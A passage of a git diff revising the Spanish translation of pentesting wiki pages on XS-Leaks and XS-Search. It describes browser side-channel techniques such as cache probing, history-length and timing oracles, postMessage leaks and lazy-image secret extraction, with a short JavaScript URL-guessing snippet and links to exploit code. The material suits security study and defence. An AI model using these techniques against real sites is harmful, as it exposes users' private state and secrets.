 - **Resumen**: Si el encabezado Origin se refleja en el encabezado `Access-Control-Allow-Origin`, es posible verificar si un recurso ya está en la caché.
 - **Ejemplo de Código**: [https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration)
 
-En caso de que el **encabezado Origin** esté siendo **reflejado** en el encabezado `Access-Control-Allow-Origin`, un atacante puede abusar de este comportamiento para intentar **obtener** el **recurso** en modo **CORS**. Si no se **genera un error**, significa que fue **recuperado correctamente de la web**; si se **genera un error**, es porque fue **accedido desde la caché** (el error aparece porque la caché guarda una respuesta con un encabezado CORS que permite el dominio original y no el dominio del atacante)**.**\
+En caso de que el **encabezado Origin** esté siendo **reflejado** en el encabezado `Access-Control-Allow-Origin`, un atacante puede abusar de este comportamiento para intentar **obtener** el **recurso** en modo **CORS**. Si no se **genera un error**, significa que fue **recuperado correctamente de la web**, si se **genera un error**, es porque fue **accedido desde la caché** (el error aparece porque la caché guarda una respuesta con un encabezado CORS que permite el dominio original y no el dominio del atacante)**.**\
 Ten en cuenta que si el origen no se refleja pero se usa un comodín (`Access-Control-Allow-Origin: *`), esto no funcionará.
 
 ## Técnica de Atributos Legibles
@@ -576,7 +576,7 @@ Al enviar una solicitud utilizando la Fetch API con `redirect: "manual"` y otros
 - **Resumen:** Las páginas protegidas por la Política de Apertura de Origen Cruzado (COOP) impiden el acceso desde interacciones de origen cruzado.
 - **Ejemplo de Código**: [https://xsinator.com/testing.html#COOP%20Leak](https://xsinator.com/testing.html#COOP%20Leak)
 
-Un atacante es capaz de deducir la presencia del encabezado de la Política de Apertura de Origen Cruzado (COOP) en una respuesta HTTP de origen cruzado. COOP es utilizado por aplicaciones web para impedir que sitios externos obtengan referencias de ventana arbitrarias. La visibilidad de este encabezado puede discernirse al intentar acceder a la **referencia `contentWindow`**. En escenarios donde COOP se aplica condicionalmente, la **propiedad `opener`** se convierte en un indicador revelador: es **indefinida** cuando COOP está activo y **definida** en su ausencia.
+Un atacante es capaz de deducir la presencia del encabezado de la Política de Apertura de Origen Cruzado (COOP) en una respuesta HTTP de origen cruzado. COOP es utilizado por aplicaciones web para impedir que sitios externos obtengan referencias de ventana arbitrarias. La visibilidad de este encabezado puede discernirse al intentar acceder a la **referencia `contentWindow`**. En escenarios donde COOP se aplica condicionalmente, la **propiedad `opener`** se convierte en un indicador revelador: es **indefinida** cuando COOP está activo, y **definida** en su ausencia.
 
 ### Longitud Máxima de URL - Lado del Servidor
 
@@ -607,7 +607,7 @@ Según la [documentación de Chromium](https://chromium.googlesource.com/chromiu
 
 Por lo tanto, si la **URL de redirección respondida es más grande en uno de los casos**, es posible hacer que redirija con una **URL mayor a 2MB** para alcanzar el **límite de longitud**. Cuando esto sucede, Chrome muestra una página **`about:blank#blocked`**.
 
-La **diferencia notable** es que si la **redirección** se **completó**, `window.origin` genera un **error** porque un origen cruzado no puede acceder a esa información. Sin embargo, si se **alcanzó el límite** y la página cargada fue **`about:blank#blocked`**, el **origen** de la ventana permanece como el de la **padre**, que es una **información accesible.**
+La **diferencia notable** es que si la **redirección** fue **completada**, `window.origin` genera un **error** porque un origen cruzado no puede acceder a esa información. Sin embargo, si se **alcanzó el límite** y la página cargada fue **`about:blank#blocked`**, el **origen** de la ventana permanece como el de la **padre**, que es una **información accesible.**
 
 Toda la información adicional necesaria para alcanzar los **2MB** se puede agregar a través de un **hash** en la URL inicial para que se **utilice en la redirección**.
 
@@ -630,11 +630,11 @@ Si el **número máximo** de **redirecciones** a seguir de un navegador es **20*
 - **Métodos de Inclusión**: Marcos, Ventanas emergentes
 - **Diferencia Detectable**: Redirecciones
 - **Más info**: [https://xsleaks.dev/docs/attacks/navigations/](https://xsleaks.dev/docs/attacks/navigations/)
-- **Resumen:** El código JavaScript manipula el historial del navegador y se puede acceder a través de la propiedad de longitud.
+- **Resumen:** El código JavaScript manipula el historial del navegador y se puede acceder a él mediante la propiedad de longitud.
 - **Ejemplo de Código**: [https://xsinator.com/testing.html#History%20Length%20Leak](https://xsinator.com/testing.html#History%20Length%20Leak)
 
 La **API de Historial** permite al código JavaScript manipular el historial del navegador, que **guarda las páginas visitadas por un usuario**. Un atacante puede usar la propiedad de longitud como un método de inclusión: para detectar navegación de JavaScript y HTML.\
-**Verificando `history.length`**, haciendo que un usuario **navegue** a una página, **cambiándola** **de nuevo** al mismo origen y **verificando** el nuevo valor de **`history.length`**.
+**Verificando `history.length`**, haciendo que un usuario **navegue** a una página, **cambiando** de nuevo a la misma origen y **verificando** el nuevo valor de **`history.length`**.
 
 ### Longitud del Historial con la misma URL
 
@@ -643,7 +643,7 @@ La **API de Historial** permite al código JavaScript manipular el historial del
 - **Resumen:** Es posible adivinar si la ubicación de un marco/ventana emergente está en una URL específica abusando de la longitud del historial.
 - **Ejemplo de Código**: A continuación
 
-Un atacante podría usar código JavaScript para **manipular la ubicación del marco/ventana emergente a una adivinada** y **inmediatamente** **cambiarla a `about:blank`**. Si la longitud del historial aumentó, significa que la URL era correcta y tuvo tiempo para **aumentar porque la URL no se recarga si es la misma**. Si no aumentó, significa que **intentó cargar la URL adivinada** pero porque **inmediatamente después** cargó **`about:blank`**, la **longitud del historial nunca aumentó** al cargar la URL adivinada.
+Un atacante podría usar código JavaScript para **manipular la ubicación del marco/ventana emergente a una adivinada** y **cambiarla inmediatamente a `about:blank`**. Si la longitud del historial aumentó, significa que la URL era correcta y tuvo tiempo para **aumentar porque la URL no se recarga si es la misma**. Si no aumentó, significa que **intentó cargar la URL adivinada** pero porque **inmediatamente después** cargó **`about:blank`**, la **longitud del historial nunca aumentó** al cargar la URL adivinada.
 ```javascript
 async function debug(win, url) {
 win.location = url + "#aaa"
@@ -682,12 +682,12 @@ Un ejemplo de esta técnica es que en Chrome, un **PDF** puede ser **detectado**
 - **Resumen:** Lee el valor filtrado para distinguir entre 2 posibles estados
 - **Ejemplo de Código**: [https://xsleaks.dev/docs/attacks/element-leaks/](https://xsleaks.dev/docs/attacks/element-leaks/), [https://xsinator.com/testing.html#Media%20Dimensions%20Leak](https://xsinator.com/testing.html#Media%20Dimensions%20Leak), [https://xsinator.com/testing.html#Media%20Duration%20Leak](https://xsinator.com/testing.html#Media%20Duration%20Leak)
 
-La filtración de información a través de elementos HTML es una preocupación en la seguridad web, particularmente cuando se generan archivos de medios dinámicos basados en la información del usuario, o cuando se añaden marcas de agua, alterando el tamaño del medio. Esto puede ser explotado por atacantes para diferenciar entre posibles estados analizando la información expuesta por ciertos elementos HTML.
+La filtración de información a través de elementos HTML es una preocupación en la seguridad web, particularmente cuando se generan archivos multimedia dinámicos basados en la información del usuario, o cuando se añaden marcas de agua, alterando el tamaño del medio. Esto puede ser explotado por atacantes para diferenciar entre posibles estados analizando la información expuesta por ciertos elementos HTML.
 
 ### Información Expuesta por Elementos HTML
 
 - **HTMLMediaElement**: Este elemento revela la `duración` y los tiempos `buffered` del medio, que se pueden acceder a través de su API. [Lee más sobre HTMLMediaElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLMediaElement)
-- **HTMLVideoElement**: Expone `videoHeight` y `videoWidth`. En algunos navegadores, propiedades adicionales como `webkitVideoDecodedByteCount`, `webkitAudioDecodedByteCount` y `webkitDecodedFrameCount` están disponibles, ofreciendo información más detallada sobre el contenido del medio. [Lee más sobre HTMLVideoElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLVideoElement)
+- **HTMLVideoElement**: Expone `videoHeight` y `videoWidth`. En algunos navegadores, propiedades adicionales como `webkitVideoDecodedByteCount`, `webkitAudioDecodedByteCount` y `webkitDecodedFrameCount` están disponibles, ofreciendo información más detallada sobre el contenido multimedia. [Lee más sobre HTMLVideoElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLVideoElement)
 - **getVideoPlaybackQuality()**: Esta función proporciona detalles sobre la calidad de reproducción de video, incluyendo `totalVideoFrames`, que puede indicar la cantidad de datos de video procesados. [Lee más sobre getVideoPlaybackQuality()](https://developer.mozilla.org/en-US/docs/Web/API/VideoPlaybackQuality)
 - **HTMLImageElement**: Este elemento filtra la `altura` y `ancho` de una imagen. Sin embargo, si una imagen es inválida, estas propiedades devolverán 0, y la función `image.decode()` será rechazada, indicando el fallo en cargar la imagen correctamente. [Lee más sobre HTMLImageElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLImageElement)
 
@@ -699,10 +699,10 @@ La filtración de información a través de elementos HTML es una preocupación
 - **Resumen:** Identificar variaciones en el estilo del sitio web que correlacionen con el estado o estatus del usuario.
 - **Ejemplo de Código**: [https://xsinator.com/testing.html#CSS%20Property%20Leak](https://xsinator.com/testing.html#CSS%20Property%20Leak)
 
-Las aplicaciones web pueden cambiar el **estilo del sitio web dependiendo del estado del usuario**. Los archivos CSS de origen cruzado pueden ser incrustados en la página del atacante con el **elemento HTML link**, y las **reglas** serán **aplicadas** a la página del atacante. Si una página cambia dinámicamente estas reglas, un atacante puede **detectar** estas **diferencias** dependiendo del estado del usuario.\
+Las aplicaciones web pueden cambiar el **estilo del sitio web dependiendo del estado del usuario**. Los archivos CSS de origen cruzado pueden ser incrustados en la página del atacante con el **elemento HTML link**, y las **reglas** se aplicarán a la página del atacante. Si una página cambia dinámicamente estas reglas, un atacante puede **detectar** estas **diferencias** dependiendo del estado del usuario.\
 Como técnica de filtración, el atacante puede usar el método `window.getComputedStyle` para **leer propiedades CSS** de un elemento HTML específico. Como resultado, un atacante puede leer propiedades CSS arbitrarias si se conoce el elemento afectado y el nombre de la propiedad.
 
-### Historia CSS
+### Historial CSS
 
 - **Métodos de Inclusión**: Elementos HTML
 - **Diferencia Detectable**: Contenido de la Página
@@ -725,7 +725,7 @@ Para más detalles sobre estas propiedades y métodos, visita sus páginas de do
 - `getComputedStyle()`: [Documentación MDN](https://developer.mozilla.org/en-US/docs/Web/API/Window/getComputedStyle)
 - `mix-blend-mode`: [Documentación MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/mix-blend-mode)
 
-### Filtración de X-Frame de ContentDocument
+### Filtración X-Frame de ContentDocument
 
 - **Métodos de Inclusión**: Marcos
 - **Diferencia Detectable**: Encabezados
@@ -769,14 +769,14 @@ En escenarios donde solo los usuarios autenticados pueden desencadenar tales des
 > Esta es la razón por la que esta técnica es interesante: Chrome ahora tiene **particionamiento de caché**, y la clave de caché de la página recién abierta es: `(https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx)`, pero si abro una página ngrok y uso fetch en ella, la clave de caché será: `(https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)`, la **clave de caché es diferente**, por lo que la caché no puede ser compartida. Puedes encontrar más detalles aquí: [Ganar seguridad y privacidad al particionar la caché](https://developer.chrome.com/blog/http-cache-partitioning/)\
 > (Comentario de [**aquí**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))
 
-Si un sitio `example.com` incluye un recurso de `*.example.com/resource`, entonces ese recurso tendrá la **misma clave de caché** que si el recurso fuera **solicitado a través de una navegación de nivel superior**. Eso se debe a que la clave de caché consiste en el _eTLD+1_ de nivel superior y el _eTLD+1_ de marco.
+Si un sitio `example.com` incluye un recurso de `*.example.com/resource`, entonces ese recurso tendrá la **misma clave de caché** que si el recurso fuera **solicitado a través de navegación de nivel superior**. Eso se debe a que la clave de caché consiste en el _eTLD+1_ de nivel superior y el _eTLD+1_ del marco.
 
 Debido a que acceder a la caché es más rápido que cargar un recurso, es posible intentar cambiar la ubicación de una página y cancelarla 20 ms (por ejemplo) después. Si el origen fue cambiado después de la detención, significa que el recurso fue almacenado en caché.\
-O simplemente podría **enviar algún fetch a la página potencialmente almacenada en caché y medir el tiempo que tarda**.
+O simplemente podría **enviar algún fetch a la página potencialmente almacenada en caché y medir el tiempo que toma**.
 
 ### Redirección Manual <a href="#fetch-with-abortcontroller" id="fetch-with-abortcontroller"></a>
 
-- **Métodos de Inclusión**: API Fetch
+- **Métodos de Inclusión**: Fetch API
 - **Diferencia Detectable**: Redirecciones
 - **Más info**: [ttps://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.gae7bf0b4f7_0_1234](https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.gae7bf0b4f7_0_1234)
 - **Resumen:** Es posible averiguar si una respuesta a una solicitud fetch es una redirección
@@ -786,7 +786,7 @@ O simplemente podría **enviar algún fetch a la página potencialmente almacena
 
 ### Fetch con AbortController <a href="#fetch-with-abortcontroller" id="fetch-with-abortcontroller"></a>
 
-- **Métodos de Inclusión**: API Fetch
+- **Métodos de Inclusión**: Fetch API
 - **Diferencia Detectable**: Tiempos
 - **Más info**: [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller)
 - **Resumen:** Es posible intentar cargar un recurso y abortar antes de que se cargue. Dependiendo de si se activa un error, el recurso fue o no almacenado en caché.
@@ -799,7 +799,7 @@ Usa _**fetch**_ y _**setTimeout**_ con un **AbortController** para detectar si e
 - **Métodos de Inclusión**: Elementos HTML (script)
 - **Diferencia Detectable**: Contenido de la Página
 - **Más info**: [https://xsleaks.dev/docs/attacks/element-leaks/#script-tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag)
-- **Resumen:** Es posible **sobrescribir funciones integradas** y leer sus argumentos incluso desde **scripts de origen cruzado** (que no pueden ser leídos directamente), esto podría **filtrar información valiosa**.
+- **Resumen:** Es posible **sobrescribir funciones integradas** y leer sus argumentos incluso desde **scripts de origen cruzado** (que no se pueden leer directamente), esto podría **filtrar información valiosa**.
 - **Ejemplo de Código**: [https://xsleaks.dev/docs/attacks/element-leaks/#script-tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag)
 
 ### Service Workers <a href="#service-workers" id="service-workers"></a>
@@ -812,17 +812,17 @@ Usa _**fetch**_ y _**setTimeout**_ con un **AbortController** para detectar si e
 
 En el escenario dado, el atacante toma la iniciativa de registrar un **service worker** dentro de uno de sus dominios, específicamente "attacker.com". A continuación, el atacante abre una nueva ventana en el sitio web objetivo desde el documento principal e instruye al **service worker** para que comience un temporizador. A medida que la nueva ventana comienza a cargarse, el atacante navega la referencia obtenida en el paso anterior a una página gestionada por el **service worker**.
 
-Al llegar la solicitud iniciada en el paso anterior, el **service worker** responde con un código de estado **204 (Sin Contenido)**, terminando efectivamente el proceso de navegación. En este punto, el **service worker** captura una medición del temporizador iniciado anteriormente en el paso dos. Esta medición está influenciada por la duración de JavaScript que causa retrasos en el proceso de navegación.
+Al llegar la solicitud iniciada en el paso anterior, el **service worker** responde con un código de estado **204 (Sin Contenido)**, terminando efectivamente el proceso de navegación. En este punto, el **service worker** captura una medición del temporizador iniciado anteriormente en el paso dos. Esta medición se ve influenciada por la duración de JavaScript que causa retrasos en el proceso de navegación.
 
 > [!WARNING]
 > En un tiempo de ejecución es posible **eliminar** **factores de red** para obtener **mediciones más precisas**. Por ejemplo, cargando los recursos utilizados por la página antes de cargarla.
 
 ### Tiempo de Fetch
 
-- **Métodos de Inclusión**: API Fetch
+- **Métodos de Inclusión**: Fetch API
 - **Diferencia Detectable**: Tiempos (generalmente debido al Contenido de la Página, Código de Estado)
 - **Más info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks)
-- **Resumen:** Usa [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) para medir el tiempo que toma realizar una solicitud. Otros relojes podrían ser utilizados.
+- **Resumen:** Usa [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) para medir el tiempo que toma realizar una solicitud. Se pueden usar otros relojes.
 - **Ejemplo de Código**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks)
 
 ### Tiempo entre Ventanas
@@ -830,7 +830,7 @@ Al llegar la solicitud iniciada en el paso anterior, el **service worker** respo
 - **Métodos de Inclusión**: Pop-ups
 - **Diferencia Detectable**: Tiempos (generalmente debido al Contenido de la Página, Código de Estado)
 - **Más info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks)
-- **Resumen:** Usa [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) para medir el tiempo que toma realizar una solicitud usando `window.open`. Otros relojes podrían ser utilizados.
+- **Resumen:** Usa [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) para medir el tiempo que toma realizar una solicitud usando `window.open`. Se pueden usar otros relojes.
 - **Ejemplo de Código**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks)
 
 ## Con HTML o Re Inyección
@@ -845,7 +845,7 @@ dangling-markup-html-scriptless-injection/
 
 ### Carga Perezosa de Imágenes
 
-Si necesitas **exfiltrar contenido** y puedes **agregar HTML previo al secreto**, deberías revisar las **técnicas comunes de marcado colgante**.\
+Si necesitas **exfiltrar contenido** y puedes **agregar HTML antes del secreto**, deberías revisar las **técnicas comunes de marcado colgante**.\
 Sin embargo, si por cualquier razón **DEBES** hacerlo **carácter por carácter** (quizás la comunicación es a través de un acierto de caché), puedes usar este truco.
 
 **Las imágenes** en HTML tienen un atributo "**loading**" cuyo valor puede ser "**lazy**". En ese caso, la imagen se cargará cuando se vea y no mientras la página se está cargando:
@@ -863,7 +863,7 @@ Sin embargo, haces que el **bot acceda a la página** con algo como
 ```
 #:~:text=SECR
 ```
-La página web será algo como: **`https://victim.com/post.html#:~:text=SECR`**
+Así que la página web será algo como: **`https://victim.com/post.html#:~:text=SECR`**
 
 Donde post.html contiene los caracteres basura del atacante y una imagen de carga perezosa, y luego se añade el secreto del bot.
 
@@ -873,7 +873,7 @@ Un ejemplo de código para explotar esto: [https://gist.github.com/jorgectf/993d
 
 ### Carga Perezosa de Imágenes Basada en Tiempo
 
-Si **no es posible cargar una imagen externa** que podría indicar al atacante que la imagen se ha cargado, otra opción sería intentar **adivinar el carácter varias veces y medir eso**. Si la imagen se carga, todas las solicitudes tardarían más que si la imagen no se carga. Esto es lo que se utilizó en la [**solución de este informe**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/) **resumido aquí:**
+Si **no es posible cargar una imagen externa** que podría indicar al atacante que la imagen fue cargada, otra opción sería intentar **adivinar el carácter varias veces y medir eso**. Si la imagen se carga, todas las solicitudes tardarían más que si la imagen no se carga. Esto es lo que se utilizó en la [**solución de este informe**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/) **resumido aquí:**
 
 {{#ref}}
 xs-search/event-loop-blocking-+-lazy-images.md
diff --git a/src/pentesting-web/xs-search/README.md b/src/pentesting-web/xs-search/README.md
index 1af0aca53..f45a46982 100644
--- a/src/pentesting-web/xs-search/README.md
+++ b/src/pentesting-web/xs-search/README.md
@@ -11,7 +11,7 @@ Los componentes clave involucrados en este ataque incluyen:
 - **Web Vulnerable**: El sitio web objetivo del cual se pretende extraer información.
 - **Web del Atacante**: El sitio web malicioso creado por el atacante, que la víctima visita, alojando el exploit.
 - **Método de Inclusión**: La técnica empleada para incorporar la Web Vulnerable en la Web del Atacante (por ejemplo, window.open, iframe, fetch, etiqueta HTML con href, etc.).
-- **Técnica de Filtración**: Técnicas utilizadas para discernir diferencias en el estado de la Web Vulnerable basadas en la información recopilada a través del método de inclusión.
+- **Técnica de Filtración**: Técnicas utilizadas para discernir diferencias en el estado de la Web Vulnerable basadas en información recopilada a través del método de inclusión.
 - **Estados**: Las dos condiciones potenciales de la Web Vulnerable, que el atacante busca distinguir.
 - **Diferencias Detectables**: Variaciones observables de las que el atacante se basa para inferir el estado de la Web Vulnerable.
 
@@ -24,19 +24,19 @@ Varios aspectos pueden ser analizados para diferenciar los estados de la Web Vul
 - **Redirecciones**: Detectar navegaciones a diferentes páginas, no solo redirecciones HTTP, sino también aquellas desencadenadas por JavaScript o HTML.
 - **Contenido de la Página**: Observar **variaciones en el cuerpo de la respuesta HTTP** o en sub-recursos de la página, como el **número de marcos incrustados** o disparidades en el tamaño de las imágenes.
 - **Encabezado HTTP**: Notar la presencia o posiblemente el valor de un **encabezado de respuesta HTTP específico**, incluyendo encabezados como X-Frame-Options, Content-Disposition y Cross-Origin-Resource-Policy.
-- **Temporización**: Notar disparidades de tiempo consistentes entre los dos estados.
+- **Temporización**: Notar discrepancias de tiempo consistentes entre los dos estados.
 
 ### Métodos de Inclusión
 
 - **Elementos HTML**: HTML ofrece varios elementos para **inclusión de recursos de origen cruzado**, como hojas de estilo, imágenes o scripts, obligando al navegador a solicitar un recurso que no sea HTML. Se puede encontrar una compilación de elementos HTML potenciales para este propósito en [https://github.com/cure53/HTTPLeaks](https://github.com/cure53/HTTPLeaks).
-- **Marcos**: Elementos como **iframe**, **object** y **embed** pueden incrustar recursos HTML directamente en la página del atacante. Si la página **carece de protección contra marcos**, JavaScript puede acceder al objeto de ventana del recurso enmarcado a través de la propiedad contentWindow.
-- **Ventanas Emergentes**: El método **`window.open`** abre un recurso en una nueva pestaña o ventana, proporcionando un **manejador de ventana** para que JavaScript interactúe con métodos y propiedades siguiendo el SOP. Las ventanas emergentes, a menudo utilizadas en el inicio de sesión único, eluden las restricciones de enmarcado y cookies de un recurso objetivo. Sin embargo, los navegadores modernos restringen la creación de ventanas emergentes a ciertas acciones del usuario.
+- **Marcos**: Elementos como **iframe**, **object** y **embed** pueden incrustar recursos HTML directamente en la página del atacante. Si la página **carece de protección de enmarcado**, JavaScript puede acceder al objeto de ventana del recurso enmarcado a través de la propiedad contentWindow.
+- **Ventanas emergentes**: El método **`window.open`** abre un recurso en una nueva pestaña o ventana, proporcionando un **manejador de ventana** para que JavaScript interactúe con métodos y propiedades siguiendo el SOP. Las ventanas emergentes, a menudo utilizadas en el inicio de sesión único, eluden las restricciones de enmarcado y cookies de un recurso objetivo. Sin embargo, los navegadores modernos restringen la creación de ventanas emergentes a ciertas acciones del usuario.
 - **Solicitudes de JavaScript**: JavaScript permite solicitudes directas a recursos objetivo utilizando **XMLHttpRequests** o la **Fetch API**. Estos métodos ofrecen un control preciso sobre la solicitud, como optar por seguir redirecciones HTTP.
 
 ### Técnicas de Filtración
 
 - **Manejador de Eventos**: Una técnica clásica de filtración en XS-Leaks, donde los manejadores de eventos como **onload** y **onerror** proporcionan información sobre el éxito o fracaso de la carga de recursos.
-- **Mensajes de Error**: Excepciones de JavaScript o páginas de error especiales pueden proporcionar información de filtración ya sea directamente desde el mensaje de error o diferenciando entre su presencia y ausencia.
+- **Mensajes de Error**: Excepciones de JavaScript o páginas de error especiales pueden proporcionar información de filtración ya sea directamente del mensaje de error o diferenciando entre su presencia y ausencia.
 - **Límites Globales**: Limitaciones físicas de un navegador, como la capacidad de memoria u otros límites impuestos por el navegador, pueden señalar cuando se alcanza un umbral, sirviendo como técnica de filtración.
 - **Estado Global**: Interacciones detectables con los **estados globales** de los navegadores (por ejemplo, la interfaz de Historia) pueden ser explotadas. Por ejemplo, el **número de entradas** en el historial de un navegador puede ofrecer pistas sobre páginas de origen cruzado.
 - **API de Rendimiento**: Esta API proporciona **detalles de rendimiento de la página actual**, incluyendo el tiempo de red para el documento y recursos cargados, permitiendo inferencias sobre los recursos solicitados.
@@ -49,7 +49,7 @@ XSinator es una herramienta automática para **verificar navegadores contra vari
 Puedes **acceder a la herramienta en** [**https://xsinator.com/**](https://xsinator.com/)
 
 > [!WARNING]
-> **XS-Leaks Excluidos**: Tuvimos que excluir XS-Leaks que dependen de **trabajadores de servicio** ya que interferirían con otras filtraciones en XSinator. Además, elegimos **excluir XS-Leaks que dependen de configuraciones incorrectas y errores en una aplicación web específica**. Por ejemplo, configuraciones incorrectas de Cross-Origin Resource Sharing (CORS), filtraciones de postMessage o Cross-Site Scripting. Además, excluimos XS-Leaks basados en tiempo ya que a menudo sufren de ser lentos, ruidosos e inexactos.
+> **XS-Leaks Excluidos**: Tuvimos que excluir XS-Leaks que dependen de **trabajadores de servicio** ya que interferirían con otras filtraciones en XSinator. Además, decidimos **excluir XS-Leaks que dependen de configuraciones incorrectas y errores en una aplicación web específica**. Por ejemplo, configuraciones incorrectas de Cross-Origin Resource Sharing (CORS), filtraciones de postMessage o Cross-Site Scripting. Además, excluimos XS-Leaks basados en tiempo ya que a menudo sufren de ser lentos, ruidosos e inexactos.
 
 ## **Técnicas Basadas en Tiempo**
 
@@ -134,7 +134,7 @@ Se ha observado que en ausencia de [Protecciones de Framing](https://xsleaks.dev
 - **Resumen**: Si puedes hacer que la página dé un error cuando se accede al contenido correcto y que se cargue correctamente cuando se accede a cualquier contenido, entonces puedes hacer un bucle para extraer toda la información sin medir el tiempo.
 - **Ejemplo de Código**:
 
-Supongamos que puedes **insertar** la **página** que tiene el **contenido** **secreto dentro de un Iframe**.
+Supongamos que puedes **insertar** la **página** que tiene el **contenido secreto** **dentro de un Iframe**.
 
 Puedes **hacer que la víctima busque** el archivo que contiene "_**flag**_" usando un **Iframe** (explotando un CSRF, por ejemplo). Dentro del Iframe sabes que el _**evento onload**_ se **ejecutará siempre al menos una vez**. Luego, puedes **cambiar** la **URL** del **iframe** pero cambiando solo el **contenido** del **hash** dentro de la URL.
 
@@ -164,7 +164,7 @@ javascript-execution-xs-leak.md
 - **Métodos de Inclusión**: Elementos HTML
 - **Diferencia Detectable**: Código de Estado y Encabezados
 - **Más info**: [https://xsleaks.dev/docs/attacks/browser-features/corb/](https://xsleaks.dev/docs/attacks/browser-features/corb/)
-- **Resumen**: **Cross-Origin Read Blocking (CORB)** es una medida de seguridad que impide que las páginas web carguen ciertos recursos sensibles de origen cruzado para protegerse contra ataques como **Spectre**. Sin embargo, los atacantes pueden explotar su comportamiento protector. Cuando una respuesta sujeta a **CORB** devuelve un `Content-Type` _**protegido por CORB**_ con `nosniff` y un código de estado `2xx`, **CORB** elimina el cuerpo y los encabezados de la respuesta. Los atacantes que observan esto pueden inferir la combinación del **código de estado** (que indica éxito o error) y el `Content-Type` (que indica si está protegido por **CORB**), lo que lleva a una posible fuga de información.
+- **Resumen**: **Cross-Origin Read Blocking (CORB)** es una medida de seguridad que impide que las páginas web carguen ciertos recursos sensibles de origen cruzado para protegerse contra ataques como **Spectre**. Sin embargo, los atacantes pueden explotar su comportamiento protector. Cuando una respuesta sujeta a **CORB** devuelve un `Content-Type` _**protegido por CORB**_ con `nosniff` y un código de estado `2xx`, **CORB** elimina el cuerpo y los encabezados de la respuesta. Los atacantes que observan esto pueden inferir la combinación del **código de estado** (indicando éxito o error) y el `Content-Type` (denotando si está protegido por **CORB**), lo que puede llevar a una posible fuga de información.
 - **Ejemplo de Código**:
 
 Consulta el enlace de más información para obtener más información sobre el ataque.
@@ -180,7 +180,7 @@ Consulta el enlace de más información para obtener más información sobre el
 Es posible **cargar una página** dentro de un **iframe** y usar el **`#id_value`** para hacer que la página **enfoque en el elemento** del iframe indicado, si se activa una señal de **`onblur`**, el elemento ID existe.\
 Puedes realizar el mismo ataque con etiquetas **`portal`**.
 
-### Transmisiones postMessage <a href="#postmessage-broadcasts" id="postmessage-broadcasts"></a>
+### Broadcasts de postMessage <a href="#postmessage-broadcasts" id="postmessage-broadcasts"></a>
 
 - **Métodos de Inclusión**: Frames, Pop-ups
 - **Diferencia Detectable**: Uso de API
@@ -188,7 +188,7 @@ Puedes realizar el mismo ataque con etiquetas **`portal`**.
 - **Resumen**: Reunir información sensible de un postMessage o usar la presencia de postMessages como un oráculo para conocer el estado del usuario en la página.
 - **Ejemplo de Código**: `Cualquier código que escuche todos los postMessages.`
 
-Las aplicaciones utilizan frecuentemente [`postMessage` broadcasts](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage) para comunicarse entre diferentes orígenes. Sin embargo, este método puede exponer inadvertidamente **información sensible** si el parámetro `targetOrigin` no se especifica correctamente, permitiendo que cualquier ventana reciba los mensajes. Además, el mero acto de recibir un mensaje puede actuar como un **oráculo**; por ejemplo, ciertos mensajes pueden enviarse solo a usuarios que han iniciado sesión. Por lo tanto, la presencia o ausencia de estos mensajes puede revelar información sobre el estado o identidad del usuario, como si están autenticados o no.
+Las aplicaciones utilizan frecuentemente [`broadcasts de postMessage`](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage) para comunicarse entre diferentes orígenes. Sin embargo, este método puede exponer inadvertidamente **información sensible** si el parámetro `targetOrigin` no se especifica correctamente, permitiendo que cualquier ventana reciba los mensajes. Además, el mero acto de recibir un mensaje puede actuar como un **oráculo**; por ejemplo, ciertos mensajes pueden enviarse solo a usuarios que han iniciado sesión. Por lo tanto, la presencia o ausencia de estos mensajes puede revelar información sobre el estado o identidad del usuario, como si están autenticados o no.
 
 ## Técnicas de Límites Globales
 
@@ -200,7 +200,7 @@ Las aplicaciones utilizan frecuentemente [`postMessage` broadcasts](https://deve
 - **Resumen**: Agotar el límite de conexiones de WebSocket filtra el número de conexiones de WebSocket de una página de origen cruzado.
 - **Ejemplo de Código**: [https://xsinator.com/testing.html#WebSocket%20Leak%20(FF)](<https://xsinator.com/testing.html#WebSocket%20Leak%20(FF)>), [https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)](<https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)>)
 
